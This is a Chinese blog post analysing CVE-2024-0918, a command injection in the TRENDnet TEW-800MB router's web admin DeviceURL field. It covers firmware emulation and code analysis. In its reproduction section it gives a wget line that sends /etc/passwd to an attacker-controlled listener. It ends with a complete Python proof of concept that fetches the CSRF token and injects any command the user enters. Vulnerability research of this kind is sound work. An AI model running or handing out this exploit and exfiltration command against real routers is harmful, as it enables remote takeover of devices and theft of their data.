CVE-2024-0918 TEW-800MB RCE漏洞分析

文章详细描述了TEW-800MB路由器的固件版本1.0.1.0存在的命令注入漏洞,攻击者可通过web管理界面利用`DeviceURL`字段注入恶意命令获取shell权限。作者提供了漏洞环境搭建、前端代码分析、漏洞接口和复现方法,以及Poc示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞描述

固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。。

参考链接

TEW-800MB (notion.site)icon-default.png?t=N7T8https://warp-desk-89d.notion.site/TEW-800MB-1f9576ce12234b72b08b9c7f4c7d32a6?pvs=4

本次我们来分析固件web漏洞

由于也是涉及大量的开发知识,本次分析不可能面面俱到。凭借着开发经验我们无需关注那么多的函数传递的细节,结合关键字 大胆猜测 在进行大量模糊测试验证自己的想法。

漏洞环境搭建

固件下载https://www.trendnet.com/support/support-detail.asp?prod=100_RB-TEW-800MB

仿真环境GitHub - pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

sudo ./run.sh -d TRENDnet ../fw_tew800mb\(v1.0.1.0\)_08012013/FW_TEW800MB\(v1.0.1.0\)_08012013.bin
漏洞分析

此次漏洞接口uapply.cgi

使用binwalk 解压固件的文件系统,先分析下相关前端代码

分析下这个表单 from

<form method="post" name="DeviceNameURL" action="/uapply.cgi" onsubmit="return checkDeviceURL();">
<input type="hidden" name="page" value="/adm/management.asp">
<input type="hidden" name="token" value="<% genToken(); %>">
<div id="box_deviceUrlSettings">
<table width="100%" class="tbl_main">
   <tr>
      <td class="CT" colspan="2"><!--#tr id="mg.17"-->Device URL Settings<!--#endtr--></td>
   </tr>
   <tr>
      <td class="CL"><!--#tr id="mg.18"-->Device URL<!--#endtr--></td>
      <!-- Ricky Cao: Exactly, the length of predefned URL has not be limited in kernel level (bridge code) -->
      <td class="CR"><input type="text" name="DeviceURL" id="DeviceURL" size="32" maxlength="64" value="<% nvram_get("DeviceURL"); %>"></td>
   </tr>
</table>
<table width="100%" class="tbl_main">
   <tr align="center">
      <td>
         <input type="submit" class="button1" value="<!--#tr id="apply"-->Apply<!--#endtr-->" /> &nbsp; &nbsp;
         <input type="reset"  class="button1" value="<!--#tr id="cancel"-->Cancel<!--#endtr-->" onclick="window.location.reload()" />
         <input type="hidden" class="button1" name="action" value="Apply">    
         <input type="hidden" name="DeviceURL" value="setDeviceURL">    
      </td>
   </tr>
</table>
</div>
</form>

这个表单提交给/uapply.cgi

可有属性 page token DeviceURL action=(Apply) DeviceUR=(setDeviceURL)(默认值)

接下里使用ida pro 分析 此次的http服务 httd

搜索相关关键字DeviceURL 分析参数传递后做了怎么的处理。或者搜索system 查看调用的参数是否为我们可控

有echo %s 的执行, 查看伪代码

v48 是v47来的 v47是nvram_get("DeviceURL")来的 。DeviceURL很有可能是我们传递的参数

由此我们可以向其中注入命令

漏洞复现

我们先登录前端管理页面 用户名密码都为admin

之后访问/adm/management.asp页面

看来DeviceURL 就在这里了。 我们打一个http请求,本地监听4444端口

注意js会拦截检测,我们直接把它删掉。点击apply

点击之后我们立马收到了请求

漏洞复现成功,我们可以尝试数据外带wget http://192.168.116.131:4444?$(cat /etc/passwd)

附赠poc


import requests
import base64 
import re

if __name__ == '__main__':
    print('start !!! ')

    target = input("Enter Target IP : ")
    username = input("Enter Username : ")
    password = input("Enter Password : ")
    cmd = input("Enter you want cmd : ")
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
        'Cookie': "expandable=6c",
        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/uapply.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'page': '/adm/management.asp',
        'token': f'{token_value}',
        'DeviceURL': f'tew-800mb`{cmd}`',
        'action': 'Apply',
        'apply_do': 'setDeviceURL',
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)

    print("end !!! ")

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值